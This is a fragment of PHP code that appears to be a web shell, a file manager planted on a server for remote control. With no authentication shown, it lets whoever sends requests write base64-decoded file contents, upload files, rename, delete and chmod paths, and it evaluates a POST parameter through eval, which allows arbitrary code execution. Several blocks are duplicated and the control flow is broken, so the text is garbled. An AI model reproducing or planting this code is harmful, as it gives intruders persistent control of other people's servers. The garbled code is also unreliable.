'.htmlspecialchars($file).'
';
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){
echo ''.$_POST['name'].'
'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ eval('$perm = '.$_POST['perm'].';'); if(chmod($_POST['path'],$perm)){ echo 'Change Permission Done.
'; $permdone = true; }else{ echo 'Change Permission Error.
'; } } if($permdone){ $perm = $_POST['perm']; }else{ $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4); } echo ''; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){ echo 'Change Name Done.
'; $_POST['name'] = $_POST['newname']; }else{ echo 'Change Name Error.
'; } } echo ''; }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,base64_decode($_POST['src']))){ echo 'Edit File Done.
'; $done = true; }else{ echo 'Edit File Error.
'; } fclose($fp); } if(isset($_GET['new']) && !$done){ $filecontent = ''; $_POST['path'] = "$currentpath/$_POST[name]"; }else{ $filecontent = filesrc($_POST['path']); } echo ''; } echo '
';
}else{
echo ''; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ eval('$perm = '.$_POST['perm'].';'); if(chmod($_POST['path'],$perm)){ echo 'Change Permission Done.
'; $permdone = true; }else{ echo 'Change Permission Error.
'; } } if($permdone){ $perm = $_POST['perm']; }else{ $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4); } echo ''; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){ echo 'Change Name Done.
'; $_POST['name'] = $_POST['newname']; }else{ echo 'Change Name Error.
'; } } echo ''; }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,base64_decode($_POST['src']))){ echo 'Edit File Done.
'; $done = true; }else{ echo 'Edit File Error.
'; } fclose($fp); } if(isset($_GET['new']) && !$done){ $filecontent = ''; $_POST['path'] = "$currentpath/$_POST[name]"; }else{ $filecontent = filesrc($_POST['path']); } echo ''; } echo '
';
if($_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo 'Delete Dir Done.
'; }else{ echo 'Delete Dir Error.
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Delete File Done.
'; }else{ echo 'Delete File Error.
'; } } }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){ if(mkdir("$currentpath/$_POST[name]")){ echo 'Create Dir Done.
'; }else{ echo 'Create Dir Error.
'; } }elseif(isset($_FILES['file'])){ $userfile_name = $currentpath.'/'.$_FILES['file']['name']; $userfile_tmp = $_FILES['file']['tmp_name']; if(move_uploaded_file($userfile_tmp,$userfile_name)){ echo 'File Upload Done.
'; }else{ echo 'File Upload Error.
'; } } echo '
'; }else{ echo 'Delete Dir Error.
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Delete File Done.
'; }else{ echo 'Delete File Error.
'; } } }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){ if(mkdir("$currentpath/$_POST[name]")){ echo 'Create Dir Done.
'; }else{ echo 'Create Dir Error.
'; } }elseif(isset($_FILES['file'])){ $userfile_name = $currentpath.'/'.$_FILES['file']['name']; $userfile_tmp = $_FILES['file']['tmp_name']; if(move_uploaded_file($userfile_tmp,$userfile_name)){ echo 'File Upload Done.
'; }else{ echo 'File Upload Error.
'; } } echo '
Name | Size | Permissions | Options |
'.$dir['name'].' |
'.$dir['size'].' | '.$dir['perm'].' | |
'.$file['name'].' |
'.$file['size'].' | '.$file['perm'].' |